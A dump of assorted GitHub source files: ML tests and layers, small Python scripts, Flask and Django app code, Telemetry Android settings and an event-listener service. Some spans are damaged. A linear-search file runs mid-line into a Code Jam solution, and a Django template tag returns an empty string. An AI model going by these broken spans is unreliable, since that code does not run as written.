H2ORuleFitEstimator(min_rule_length=1, max_rule_length=3, max_num_rules=10, seed=1234, \n model_type=\"rules_and_linear\", distribution=\"multinomial\")\n rfit_multi.train(training_frame=train, x=x, y=y, validation_frame=test)\n\n # Print rules and metrics for comparision:\n print(\"Binomial model rules:\")\n print(rfit.rule_importance())\n\n print(\"Multinomial model rules:\")\n print(rfit_multi.rule_importance())\n \n print(\"Binomial train RMSE vs. multinomial train RMSE:\")\n print(str(rfit.rmse()) + \" vs. \" + str(rfit_multi.rmse()))\n print(\"Binomial train MSE vs. multinomial train MSE: \")\n print(str(rfit.mse()) + \" vs. \" + str(rfit_multi.mse()))\n print(\"Binomial valid RMSE vs. multinomial valid RMSE: \")\n print(str(rfit.rmse(valid=True)) + \" vs. \" + str(rfit_multi.rmse(valid=True)))\n print(\"Binomial valid MSE vs. multinomial valid MSE: \")\n print(str(rfit.mse(valid=True)) + \" vs. \" + str(rfit_multi.mse(valid=True)))\n\n\n\nif __name__ == \"__main__\":\n pyunit_utils.standalone_test(football)\nelse:\n football()\n","repo_name":"h2oai/h2o-3","sub_path":"h2o-py/tests/testdir_algos/rulefit/pyunit_football_rulefit.py","file_name":"pyunit_football_rulefit.py","file_ext":"py","file_size_in_byte":1965,"program_lang":"python","lang":"en","doc_type":"code","stars":6553,"dataset":"github-code","pt":"61"} +{"seq_id":"24324471848","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Feb 19 09:52:16 2019\r\n\r\n@author: yasha\r\n\"\"\"\r\nfrom pymongo import MongoClient \r\ntry: \r\n conn = MongoClient() \r\n print(\"Connected successfully!!!\") \r\nexcept: \r\n print(\"Could not connect to MongoDB\") \r\n\r\ndb = conn.Job_Portal_Group_Dummy\r\n#EmployerZone\r\ncollection03 = db.EmployerZone\r\nEmployer_Company_name = input(\"Enter Your Company Name: \")\r\nEmployer_emailid = input(\"Enter Your Company email address: \")\r\nEmployer_Contact_number = input(\"Enter Your Contact_number : \")\r\nEmployer_Company_Location = input(\"Enter Your Company Location: \")\r\nIndustry_Type = input(\"Enter Your Industry type: \")\r\nNumber_Of_Openings = input (\"Enter the Number of Openings: \")\r\ncollection03.insert_many([{\r\n \"Employer_Company_name\" : Employer_Company_name,\r\n \"Employer_emailid\" : Employer_emailid,\r\n \"Employer_Contact_number\" : Employer_Contact_number,\r\n \"Employer_Company_Location\" : Employer_Company_Location,\r\n \"Industry_Type\" : Industry_Type,\r\n \"Number_Of_Openings\" : Number_Of_Openings\r\n }\r\n ]\r\n )","repo_name":"YashawantParab/Job_Portal","sub_path":"EmployerZone.py","file_name":"EmployerZone.py","file_ext":"py","file_size_in_byte":1090,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26247633488","text":"# refer to the code from VAN, Thanks!\n# https://github.com/Visual-Attention-Network/VAN-Classification\n\nimport math\nimport torch\nimport torch.nn as nn\n\nfrom timm.models.layers import DropPath, trunc_normal_\n\n\nclass DWConv(nn.Module):\n def __init__(self, dim=768):\n super(DWConv, self).__init__()\n self.dwconv = nn.Conv2d(dim, dim, 3, 1, 1, bias=True, groups=dim)\n\n def forward(self, x):\n x = self.dwconv(x)\n return x\n\n\nclass MixMlp(nn.Module):\n def __init__(self,\n in_features, hidden_features=None, out_features=None, act_layer=nn.GELU, drop=0.):\n super().__init__()\n out_features = out_features or in_features\n hidden_features = hidden_features or in_features\n self.fc1 = nn.Conv2d(in_features, hidden_features, 1) # 1x1\n self.dwconv = DWConv(hidden_features) # CFF: Convlutional feed-forward network\n self.act = act_layer() # GELU\n self.fc2 = nn.Conv2d(hidden_features, out_features, 1) # 1x1\n self.drop = nn.Dropout(drop)\n self.apply(self._init_weights)\n\n def _init_weights(self, m):\n if isinstance(m, nn.Linear):\n trunc_normal_(m.weight, std=.02)\n if isinstance(m, nn.Linear) and m.bias is not None:\n nn.init.constant_(m.bias, 0)\n elif isinstance(m, nn.LayerNorm):\n nn.init.constant_(m.bias, 0)\n nn.init.constant_(m.weight, 1.0)\n elif isinstance(m, nn.Conv2d):\n fan_out = m.kernel_size[0] * m.kernel_size[1] * m.out_channels\n fan_out //= m.groups\n m.weight.data.normal_(0, math.sqrt(2.0 / fan_out))\n if m.bias is not None:\n m.bias.data.zero_()\n\n def forward(self, x):\n x = self.fc1(x)\n x = self.dwconv(x)\n x = self.act(x)\n x = self.drop(x)\n x = self.fc2(x)\n x = self.drop(x)\n return x\n\n\nclass LKA(nn.Module):\n def __init__(self, dim):\n super().__init__()\n self.conv0 = nn.Conv2d(dim, dim, 5, padding=2, groups=dim)\n self.conv_spatial = nn.Conv2d(\n dim, dim, 7, stride=1, padding=9, groups=dim, dilation=3)\n self.conv1 = nn.Conv2d(dim, dim, 1)\n\n\n def forward(self, x):\n u = x.clone() \n attn = self.conv0(x)\n attn = self.conv_spatial(attn)\n attn = self.conv1(attn)\n\n return u * attn\n\n\nclass Attention(nn.Module):\n def __init__(self, d_model, attn_shortcut=True):\n super().__init__()\n\n self.proj_1 = nn.Conv2d(d_model, d_model, 1)\n self.activation = nn.GELU()\n self.spatial_gating_unit = LKA(d_model)\n self.proj_2 = nn.Conv2d(d_model, d_model, 1)\n self.attn_shortcut = attn_shortcut\n\n def forward(self, x):\n if self.attn_shortcut:\n shortcut = x.clone()\n x = self.proj_1(x)\n x = self.activation(x)\n x = self.spatial_gating_unit(x)\n x = self.proj_2(x)\n if self.attn_shortcut:\n x = x + shortcut\n return x\n\n\nclass VANBlock(nn.Module):\n def __init__(self, dim, mlp_ratio=4., drop=0.,drop_path=0., init_value=1e-2, act_layer=nn.GELU, attn_shortcut=True):\n super().__init__()\n self.norm1 = nn.BatchNorm2d(dim)\n self.attn = Attention(dim, attn_shortcut=attn_shortcut)\n self.drop_path = DropPath(drop_path) if drop_path > 0. else nn.Identity()\n\n self.norm2 = nn.BatchNorm2d(dim)\n mlp_hidden_dim = int(dim * mlp_ratio)\n self.mlp = MixMlp(\n in_features=dim, hidden_features=mlp_hidden_dim, act_layer=act_layer, drop=drop)\n\n self.layer_scale_1 = nn.Parameter(init_value * torch.ones((dim)), requires_grad=True)\n self.layer_scale_2 = nn.Parameter(init_value * torch.ones((dim)), requires_grad=True)\n\n def forward(self, x):\n x = x + self.drop_path(\n self.layer_scale_1.unsqueeze(-1).unsqueeze(-1) * self.attn(self.norm1(x)))\n x = x + self.drop_path(\n self.layer_scale_2.unsqueeze(-1).unsqueeze(-1) * self.mlp(self.norm2(x)))\n return x\n","repo_name":"chengtan9907/OpenSTL","sub_path":"openstl/modules/layers/van.py","file_name":"van.py","file_ext":"py","file_size_in_byte":4112,"program_lang":"python","lang":"en","doc_type":"code","stars":403,"dataset":"github-code","pt":"61"} +{"seq_id":"11861002455","text":"# -*- coding: utf-8 -*-\nimport json\nimport os, sys\n\nclass Dictionary(object):\n ENG = 1\n def __init__(self, lang = ENG):\n if lang == self.ENG:\n self.delegate = English()\n else:\n raise ValueError(\"Invalid languate type \" + lang)\n\n def Check(self, word):\n \"\"\" Check if the assigned word is a valid word and existing in the dictionary, and return True or False. \"\"\"\n if self.delegate:\n return self.delegate.Check(word)\n else:\n return False\n\n def get_data(self):\n return self.delegate.get_data()\n\nclass English(object):\n \"\"\" English dictionary class. The dictionary data is originated from https://github.com/dwyl/english-words.git\n \"\"\"\n # Additional words that don't exist in the original dictionary.\n addons = [u\"isn't\", u\"wasn't\", u\"aren't\", u\"weren't\", u\"don't\", u\"didn't\", u\"hasn't\", u\"haven't\", u\"hadn't\"\n u\"ain't\", u\"it's\", u\"i'm\", u\"he's\", u\"she's\", u\"they're\", u\"we're\", u\"there're\",\n u\"i've\", u\"you've\", u\"we've\", u\"what's\", u\"who's\", u\"where's\", u\"there's\", u\"here's\"]\n\n def __init__(self):\n # Load dictionary file\n current_dir = os.path.dirname(os.path.realpath(__file__))\n self.filename = os.path.join(current_dir, \"English\", \"words_dictionary.json\")\n self.words = None\n\n def _lazy_loading(self):\n \"\"\" Initialize self.words value by reading file. This is time and memory consuming, so\n do this only when self.words is required for the first time (lazy loading)\n \"\"\"\n if not self.words:\n self.words = set()\n with open(self.filename, \"r\") as english_dictionary:\n words_map = json.load(english_dictionary)\n # Load words from map\n for key in words_map:\n self.words.add(key)\n # Add some more\n for word in self.addons:\n self.words.add(word)\n\n def get_data(self):\n self._lazy_loading()\n return self.words\n\n def Check(self, word):\n self._lazy_loading()\n \n word = word.lower()\n # All the words are assigned with 1 in the dictionary.\n if word in self.words:\n return True\n else:\n return False\n","repo_name":"ryuji-konishi/AplacChat","sub_path":"common/dictionary/Dictionary.py","file_name":"Dictionary.py","file_ext":"py","file_size_in_byte":2275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9640399313","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\n\nimport logging\nl = logging.getLogger(__name__)\n\nfrom django import template\nfrom django.template.loader import render_to_string\n\nfrom easy_split.models import Experiment\nfrom easy_split.utils import WebUserFactory\n\nregister = template.Library()\n\nclass BaseExperimentNode(template.Node):\n def __init__(self, user_factory=WebUserFactory()):\n self.__user_factory = user_factory\n \n def create_user(self, context):\n return self.__user_factory.create_user(context)\n\n def get_user(self, context):\n request = context.get('request', None)\n if request is None:\n return self.create_user(context)\n if not hasattr(request, 'experiment_user'):\n request.experiment_user = self.create_user(context)\n return request.experiment_user\n\n\nclass ExperimentNode(BaseExperimentNode):\n def __init__(self, node_list, experiment_name, group_name, user_factory):\n BaseExperimentNode.__init__(self, user_factory)\n self.node_list = node_list\n self.experiment_name = experiment_name\n self.group_name = group_name\n\n def render(self, context):\n user = self.get_user(context)\n should_render = False\n \n if self.group_name == \"test\":\n should_render = Experiment.test(self.experiment_name, user)\n elif self.group_name == \"control\":\n should_render = Experiment.control(self.experiment_name, user)\n else:\n raise Exception(\"Unknown Experiment group name : %s\" %\n self.group_name)\n \n if should_render:\n return self.node_list.render(context)\n else:\n return \"\"\n \n\n@register.tag('split')\ndef experiment(parser, token, user_factory=WebUserFactory()):\n \"\"\"\n Split Testing experiment tag has the following syntax :\n \n {% split %}\n experiment content goes here\n {% endsplit %}\n \n If the group name is neither 'test' nor 'control' an exception is raised\n during rendering.\n \"\"\"\n try:\n tag_name, experiment_name, group_name = token.split_contents()\n node_list = parser.parse(('endsplit', ))\n parser.delete_first_token()\n except ValueError:\n raise template.TemplateSyntaxError(\"Syntax should be like :\"\n \"{% split experiment_name group_name %}\")\n \n return ExperimentNode(node_list, experiment_name, group_name, user_factory)\n\nclass ClientSideExperimentNode(BaseExperimentNode):\n CONTEXT_KEY = \"client_side_experiments\"\n \n def __init__(self, experiment_name, user_factory):\n BaseExperimentNode.__init__(self, user_factory)\n self.experiment_name = experiment_name\n \n def render(self, context):\n \"\"\"\n Appends to a 'client_side_experiments' variable in the context. It\n will be the templates responsibility to render this list into the\n Javascript context.\n \"\"\"\n if self.CONTEXT_KEY not in context:\n context[self.CONTEXT_KEY]= {}\n \n if self.experiment_name not in context[self.CONTEXT_KEY]:\n user = self.create_user(context)\n group = None\n \n if Experiment.test(self.experiment_name, user):\n group = \"test\"\n elif Experiment.control(self.experiment_name, user):\n group = \"control\"\n else:\n raise Exception(\"Unexpected test group for experiment %s\" %\n self.experiment_name)\n \n context[self.CONTEXT_KEY][self.experiment_name] = group\n return \"\"\n \n\n@register.tag('clientsideexperiment')\ndef clientsideexperiment(parser, token, user_factory=WebUserFactory()):\n \"\"\"\n Used to declare an experiment that affects JavaScript :\n \n (in template)\n {% clientsideexperiment %}\n \n (in Javascript)\n if (experiment.test(\"\")) {\n // test case\n } else {\n // control case\n }\n \n The template tag populates the context with a dict at\n 'client_side_experiments' with entries for each experiment name that map to\n either 'test' or 'control'.\n \"\"\"\n try:\n tag_name, experiment_name = token.split_contents()\n except ValueError:\n raise template.TemplateSyntaxError(\"Syntax should be like :\"\n \"{% clientsideexperiment experiment_name %}\")\n \n return ClientSideExperimentNode(experiment_name, user_factory)\n\ndef split_js(values=None):\n js_string = render_to_string(\"split_js.html\", {} )\n return js_string\n\ndef goal(value):\n magic_string = \"\" % value\n return magic_string\n\nregister.simple_tag(split_js)\nregister.simple_tag(goal)","repo_name":"Miserlou/django-easy-split","sub_path":"easy_split/templatetags/easy_split.py","file_name":"easy_split.py","file_ext":"py","file_size_in_byte":4858,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"61"} +{"seq_id":"12587350811","text":"\n#Linear Search\npos=-1\ndef search(list,n):\n j=0\n #while i= 0) and (room[i][j] == '.'):\n j -= 1;\n if (j >= 0):\n label[i][j] += 2;\n for j in range(c):\n i = 0\n while (i < r) and (room[i][j] == '.'):\n i += 1;\n if (i < r):\n label[i][j] += 4;\n i = r - 1;\n while (i >= 0) and (room[i][j] == '.'):\n i -= 1;\n if (i >= 0):\n label[i][j] += 8;\n #print(label)\n flag = 0;\n result = 0;\n for i in range(r):\n for j in range(c):\n if label[i][j] == 15:\n flag = 1;\n elif room[i][j] == '<' and (label[i][j] & 1):\n result += 1;\n elif room[i][j] == '>' and (label[i][j] & 2):\n result += 1;\n elif room[i][j] == '^' and (label[i][j] & 4):\n result += 1;\n elif room[i][j] == 'v' and (label[i][j] & 8):\n result += 1;\n fout.write('Case #'+str(count)+': ')\n if flag:\n fout.write('IMPOSSIBLE\\n')\n else:\n fout.write(str(result) +'\\n')\nfin.close()\nfout.close()\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_168/92.py","file_name":"92.py","file_ext":"py","file_size_in_byte":1564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23389675391","text":"import sys\n\n\nOUTCOMES = {False: \"NO\", True: \"YES\"}\n\ndef parse_row(row_str):\n return [int(x) for x in row_str.split()]\n\nif __name__ == '__main__':\n TESTS = int(sys.stdin.readline())\n for z in range(1, TESTS + 1):\n n, m = [int(x) for x in sys.stdin.readline().split()]\n # Load the grid\n rows = []\n for i in range(n):\n rows.append(parse_row(sys.stdin.readline()))\n row_mins = [min(row) for row in rows]\n row_maxs = [max(row) for row in rows]\n col_mins = [min([rows[i][j] for j in range(m)]) for i in range(n)]\n col_maxs = [max([rows[i][j] for i in range(n)]) for j in range(m)]\n o = True\n for i in range(n):\n for j in range(m):\n if rows[i][j] < min(row_maxs[i], col_maxs[j]):\n o = False\n break\n print(\"Case #%d: %s\" % (z, OUTCOMES[o]))\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_117/751.py","file_name":"751.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2303776769","text":"import serpentTools\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n# Check if the detector file exists\r\nimport os\r\nif not os.path.isfile(\"./01_tutorial_infinite_homogen_det0.m\"):\r\n print(\"Could not find 01_tutorial_infinite_homogen_det0.m in the current folder! Cannot do analysis.\")\r\n exit()\r\n\r\n# Load the detector file using SerpentTools\r\ndetectors = serpentTools.read(\"./01_tutorial_infinite_homogen_det0.m\")\r\n\r\n# Check if the detector output exists\r\n# if \"DETEnergyDetector\" not in detectors:\r\n# print(\"Could not find results for EnergyDetector from the detector file (maybe misspelled detector name?). Cannot do analysis.\")\r\n# exit()\r\n\r\n# # Get the data from the detector output\r\n# DETEnergyDetector = detectors[\"EnergyDetector\"]\r\n\r\n# # Plot the energy-integrated flux\r\n# plt.figure(figsize=(10, 6))\r\n\r\n# # Scale the energy integrated flux to a maximum of 1.0\r\n# DETEnergyDetector[:, 10] = DETEnergyDetector[:, 10] / np.max(DETEnergyDetector[:, 10])\r\n\r\n# Plot with error bars\r\nplt.errorbar(DETEnergyDetector[:, 2], DETEnergyDetector[:, 10], 2 * DETEnergyDetector[:, 10] * DETEnergyDetector[:, 11], color='k', marker='.', linestyle='')\r\n\r\n# Set axes\r\nplt.xscale('log')\r\nplt.yscale('log')\r\nplt.xticks([1e-12, 1e-10, 1e-8, 1e-6, 1e-4, 1e-2, 1e0, 1e2])\r\nplt.xlabel('Energy (MeV)')\r\nplt.ylabel('Energy integrated neutron flux (a.u.)')\r\n\r\n# Make the plot nicer\r\nplt.grid(True, which='both')\r\nplt.minorticks_on()\r\nplt.box(True)\r\n\r\n# Save the figure\r\nplt.savefig('FluxEInt.png')\r\nplt.close()\r\n\r\n# Save the figure with linear y-axis\r\nplt.figure(figsize=(10, 6))\r\n\r\nplt.plot(DETEnergyDetector[:, 2], DETEnergyDetector[:, 10], color='k', marker='.', linestyle='')\r\n\r\nplt.xscale('log')\r\nplt.ylim([0, 1])\r\nplt.xticks([1e-12, 1e-10, 1e-8, 1e-6, 1e-4, 1e-2, 1e0, 1e2])\r\nplt.xlabel('Energy (MeV)')\r\nplt.ylabel('Energy integrated neutron flux (a.u.)')\r\n\r\nplt.grid(True, which='both')\r\nplt.minorticks_on()\r\nplt.box(True)\r\n\r\nplt.savefig('FluxEIntLinY.png')\r\nplt.close()\r\n","repo_name":"ObaraOrg/obara_lab","sub_path":"serpent_analysis/learning_serpent/00_tutorial/01_infinite_homogen/analyze.py","file_name":"analyze.py","file_ext":"py","file_size_in_byte":1980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3620036808","text":"from flask import (\n Blueprint,\n redirect,\n url_for,\n session\n)\nfrom flask_babel import gettext as _\n\nfrom app.database import db\nfrom app.helpers import (\n log_info,\n toint,\n)\nfrom app.helpers.user import (\n get_uid\n)\nfrom app.helpers.date_time import current_timestamp\nfrom app.services.response import ResponseJson\nfrom app.services.api.weixin import WeiXinLoginService\nfrom app.services.weixin import WeiXinMpAccessTokenService\nfrom app.services.api.user import UserStaticMethodsService\n\nweixin = Blueprint('api.weixin', __name__)\n\nresjson = ResponseJson()\nresjson.module_code = 19\n\n@weixin.route('/login')\ndef login():\n \"\"\"微信登陆\"\"\"\n\n url = url_for('mobile.index.root')\n\n wxls = WeiXinLoginService('mp')\n if not wxls.check():\n return redirect(url)\n\n if not wxls.check_state():\n return redirect(wxls.code_url)\n\n if wxls.login():\n url = session.get('weixin_login_url', url)\n\n session.pop('weixin_login_url', None)\n session.pop('weixin_login_state', None)\n\n return redirect(url)\n\n\n@weixin.route('/login-qrcode')\ndef login_qrcode():\n \"\"\"微信扫码登陆\"\"\"\n\n url = url_for('pc.index.root')\n\n wxls = WeiXinLoginService('qrcode')\n if not wxls.check():\n return redirect(url)\n\n if not wxls.check_state():\n return redirect(wxls.code_url)\n\n if wxls.login():\n url = session.get('weixin_login_url', url)\n\n session.pop('weixin_login_url', None)\n session.pop('weixin_login_state', None)\n\n return redirect(url)\n\n\n@weixin.route('/ticket')\ndef ticket():\n \"\"\"微信分享ticket\"\"\"\n resjson.action_code = 10\n service = WeiXinMpAccessTokenService()\n try:\n ticket = service.get_weixin_mp_ticket()\n except Exception as e:\n return resjson.print_json(11, u'%s'%e)\n \n return resjson.print_json(0, 'ok', {'ticket':ticket, 'appid':service.appid})\n\n\n@weixin.route('/login-xiao')\ndef login_xiao():\n \"\"\"微信小程序登陆\"\"\"\n resjson.action_code = 10\n\n wxls = WeiXinLoginService('xiao')\n if not wxls.check():\n return resjson.print_json(10, _(u'登录失败'))\n\n if not wxls.login():\n return resjson.print_json(11, _(u'登录失败'))\n \n #用户的购物车数和未读消息数\n cart_total = session.get('cart_total')\n unread_count = UserStaticMethodsService.unread_count(get_uid())\n\n return resjson.print_json(0, u'ok', {'cart_total':cart_total, 'unread_count':unread_count})\n","repo_name":"kapokcloud-inc/theonestore","sub_path":"app/views/api/weixin.py","file_name":"weixin.py","file_ext":"py","file_size_in_byte":2477,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"61"} +{"seq_id":"71385966275","text":"import random\ndef crearVectorRandom(tam):\n vector=[]\n for i in range(1,tam+1):\n vector.append(random.randint(1,300))\n return vector\n\ntam=int(input(\"Ingrese el tamaño del vector: \"))\nvectorNumerosAleatorios=crearVectorRandom(tam)\nvectorNumerosEncontrados=[]\nprint(vectorNumerosAleatorios)\ndigito=int(input(\"Ingrese el último dígito a verificar: \"))\nfor pos in range(0,tam):\n valor=vectorNumerosAleatorios[pos]\n residuo=valor%10\n if(residuo==digito):\n vectorNumerosEncontrados.append(valor)\nprint(vectorNumerosEncontrados)","repo_name":"ElChurco/Introprogramacion","sub_path":"Grafica/Ejercicio_3.py","file_name":"Ejercicio_3.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12388331219","text":"import os\nfrom flask import Flask, request, render_template, url_for\nfrom PIL import Image\nimport numpy as np\nimport tensorflow as tf\n\napp = Flask(__name__)\n\n# Load the pre-trained models\nbenign_model = tf.keras.models.load_model(os.path.join('models', 'benign_model.h5'))\nmalignant_model = tf.keras.models.load_model(os.path.join('models', 'malignant_model.h5'))\nimg_height = 180\nimg_width = 180\nclass_names = ['benign', 'malignant']\napp.config['UPLOAD_FOLDER'] = 'static/uploads'\n\ndef predict_image(file, model):\n image = Image.open(file)\n image_array = tf.keras.utils.img_to_array(image.resize((img_height, img_width)))\n image_array = np.expand_dims(image_array, axis=0)\n predictions = model.predict(image_array)\n score = tf.nn.softmax(predictions[0])\n return class_names[np.argmax(score)], round(100 * np.max(score), 2)\n\n\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n return render_template('index.html')\n\n@app.route('/predict', methods=['GET', 'POST'])\ndef predict():\n prediction = None\n image_path = None\n image_filename = None\n if request.method == 'POST':\n if 'file' not in request.files:\n return render_template('predict.html', error='No file part')\n\n file = request.files['file']\n\n if file.filename == '':\n return render_template('predict.html', error='No selected file')\n\n if file:\n image_filename = file.filename\n image_path = os.path.join(app.config['UPLOAD_FOLDER'], \"uploaded_image\" + image_filename)\n file.save(image_path)\n\n if np.argmax(malignant_model.predict(tf.keras.utils.img_to_array(Image.open(image_path).resize((img_height, img_width))).reshape(1, img_height, img_width, 3))) == 1:\n prediction = predict_image(image_path, malignant_model)\n else:\n prediction = predict_image(image_path, benign_model)\n\n \n return render_template('predict.html', prediction=prediction, image_path=image_path) # Use image_path here\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"Indresh535/Breast_Cancer_Detection_Project","sub_path":"Breast_Cancer_Detection_Project_Flask_Project/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2072,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5855534350","text":"import logging\nimport time\n\nfrom telemetry.core import exceptions\n\n\nclass AndroidBrowserBackendSettings(object):\n\n def __init__(self, activity, cmdline_file, package, pseudo_exec_name,\n supports_tab_control):\n self._activity = activity\n self._cmdline_file = cmdline_file\n self._package = package\n self._pseudo_exec_name = pseudo_exec_name\n self._supports_tab_control = supports_tab_control\n\n @property\n def activity(self):\n return self._activity\n\n @property\n def package(self):\n return self._package\n\n @property\n def pseudo_exec_name(self):\n return self._pseudo_exec_name\n\n @property\n def supports_tab_control(self):\n return self._supports_tab_control\n\n def GetCommandLineFile(self, is_user_debug_build): # pylint: disable=W0613\n return self._cmdline_file\n\n def GetDevtoolsRemotePort(self, device):\n raise NotImplementedError()\n\n @property\n def profile_ignore_list(self):\n # Don't delete lib, since it is created by the installer.\n return ['lib']\n\n\nclass ChromeBackendSettings(AndroidBrowserBackendSettings):\n # Stores a default Preferences file, re-used to speed up \"--page-repeat\".\n _default_preferences_file = None\n\n def GetCommandLineFile(self, is_user_debug_build):\n if is_user_debug_build:\n return '/data/local/tmp/chrome-command-line'\n else:\n return '/data/local/chrome-command-line'\n\n def __init__(self, package):\n super(ChromeBackendSettings, self).__init__(\n activity='com.google.android.apps.chrome.Main',\n cmdline_file=None,\n package=package,\n pseudo_exec_name='chrome',\n supports_tab_control=True)\n\n def GetDevtoolsRemotePort(self, device):\n return 'localabstract:chrome_devtools_remote'\n\n\nclass ContentShellBackendSettings(AndroidBrowserBackendSettings):\n def __init__(self, package):\n super(ContentShellBackendSettings, self).__init__(\n activity='org.chromium.content_shell_apk.ContentShellActivity',\n cmdline_file='/data/local/tmp/content-shell-command-line',\n package=package,\n pseudo_exec_name='content_shell',\n supports_tab_control=False)\n\n def GetDevtoolsRemotePort(self, device):\n return 'localabstract:content_shell_devtools_remote'\n\n\nclass ChromeShellBackendSettings(AndroidBrowserBackendSettings):\n def __init__(self, package):\n super(ChromeShellBackendSettings, self).__init__(\n activity='org.chromium.chrome.shell.ChromeShellActivity',\n cmdline_file='/data/local/tmp/chrome-shell-command-line',\n package=package,\n pseudo_exec_name='chrome_shell',\n supports_tab_control=False)\n\n def GetDevtoolsRemotePort(self, device):\n return 'localabstract:chrome_shell_devtools_remote'\n\n\nclass WebviewBackendSettings(AndroidBrowserBackendSettings):\n def __init__(self,\n package,\n activity='org.chromium.webview_shell.TelemetryActivity',\n cmdline_file='/data/local/tmp/webview-command-line'):\n super(WebviewBackendSettings, self).__init__(\n activity=activity,\n cmdline_file=cmdline_file,\n package=package,\n pseudo_exec_name='webview',\n supports_tab_control=False)\n\n def GetDevtoolsRemotePort(self, device):\n # The DevTools socket name for WebView depends on the activity PID's.\n retries = 0\n timeout = 1\n pid = None\n while True:\n pids = device.GetPids(self.package)\n if not pids or self.package not in pids:\n time.sleep(timeout)\n retries += 1\n timeout *= 2\n if retries == 4:\n logging.critical('android_browser_backend: Timeout while waiting for '\n 'activity %s:%s to come up',\n self.package,\n self.activity)\n raise exceptions.BrowserGoneException(self.browser,\n 'Timeout waiting for PID.')\n pid = pids[self.package]\n break\n return 'localabstract:webview_devtools_remote_%s' % str(pid)\n\n\nclass WebviewShellBackendSettings(WebviewBackendSettings):\n def __init__(self, package):\n super(WebviewShellBackendSettings, self).__init__(\n activity='org.chromium.android_webview.shell.AwShellActivity',\n cmdline_file='/data/local/tmp/android-webview-command-line',\n package=package)\n","repo_name":"googlearchive/big-rig","sub_path":"app/src/thirdparty/telemetry/internal/backends/android_browser_backend_settings.py","file_name":"android_browser_backend_settings.py","file_ext":"py","file_size_in_byte":4324,"program_lang":"python","lang":"en","doc_type":"code","stars":857,"dataset":"github-code","pt":"61"} +{"seq_id":"73301459713","text":"'''\nCreated on 17/ago/2012\n\n@author: Francesco Capozzo\n'''\nfrom myclips_server.xmlrpc.services.Service import Service\nimport xmlrpclib\nfrom myclips.listeners.EventsManagerListener import EventsManagerListener\nimport myclips_server\nfrom myclips_server.xmlrpc.services import sessions\n\nclass ClientEvents(Service):\n '''\n Manage client registration of myclips's event listeners\n \n The client must implement a xmlrpc end-point with at-least the following\n methods:\n \n - Listener.ping(string aReverseToken) : True\n Called to check server-client connection and validate the reverse token\n and the listener\n \n - Listener.notify(string aReverseToken, string anEventName, list args) : None\n Called when events are fired.\n \n - Listener.close(string aReverseToken) : None\n Called before the unregister process is completed to nofity\n the client's listener\n \n '''\n\n _NAME = \"ClientEvents_MyClipsEvents\"\n _TYPE = \"ClientEvents\"\n __API__ = Service.__API__ + ['register', 'unregister']\n \n \n def getListeners(self, aSessionToken):\n '''\n Get a dict of listeners for a session token\n @param aSessionToken: a token for a valid session\n @type aSessionToken: string\n @return: a dict of all listeners registered\n @rtype: dict\n '''\n \n try:\n listeners = self._broker.Sessions.getProperty(aSessionToken, \"ClientEvents_MyClipsEvents.listeners\")\n except KeyError:\n listeners = {}\n self._broker.Sessions.setProperty(aSessionToken, \"ClientEvents_MyClipsEvents.listeners\", listeners )\n \n return listeners\n \n def onSessionDestroy(self, aSessionToken):\n someListeners = self.getListeners(aSessionToken)\n for aListenerName in someListeners.keys():\n self.unregister(aSessionToken, aListenerName)\n \n @sessions.renewer\n def register(self, aSessionToken, aListenerName, aListenerAddress, aReverseToken, *eventsName):\n '''\n Register a xmlrpc end-point of the client as a myclips's event listener\n If a listener with the same identifier is already registered,\n it will be unregister and then replaced\n \n The registration protocol requires the client end-point to\n reply to a .ping(aReverseToken) method call\n before the registration is completed\n \n Standard event names for MyClips's Network Engine are:\n \n action-performed, debug-options-changed, fact-asserted, \n fact-retracted, network-reset-post, network-reset-pre, \n network-ready, network-reset-post, network-reset-pre, \n network-shutdown, node-activated, node-activated-left, \n node-activated-right, node-added, node-linked, node-removed, \n node-shared, node-unlinked, rule-activated, rule-added, \n rule-deactivated, rule-fired, rule-removed, strategy-changed\n \n More info about event's args and meanings are available in the myclips's documentation\n \n \n @param aSessionToken: a token for a valid session\n @type aSessionToken: string\n @param aListenerName: the identifier of the listener after the registration\n @type aListenerName: string\n @param aListenerAddress: the url of the xmlrpc server of the client where events will be forwarded\n @type aListenerAddress: string\n @param aReverseToken: a the server will send with data to identify a valid transmission \n @type aReverseToken: mixed\n @param eventsName: a list of event names to register for\n @type eventsName: list of strings \n ''' \n \n someListeners = self.getListeners(aSessionToken)\n if someListeners.has_key(aListenerName):\n self.unregister(aSessionToken, aListenerName)\n \n theListener = xmlrpclib.Server(aListenerAddress, allow_none=True)\n \n try:\n myclips_server.timeout_call(theListener.ping, 2, args=(aReverseToken))\n except myclips_server.FunctionCallTimeout:\n myclips_server.logger.info(\"...a ClientListener ping check took more than 2 seconds. Ignored!\")\n else:\n # if the events[0] is a list, then the client failed to expand the list of \n # events (just like myclips-javalib)\n if len(eventsName) and isinstance( eventsName[0], list ):\n eventsName = eventsName[0] + list(eventsName)[1:]\n \n theListener = ClientListener(aReverseToken, theListener, self, eventsName)\n \n theNetwork = self._broker.Engine.getNetwork(aSessionToken)\n theListener.install(theNetwork.eventsManager)\n \n 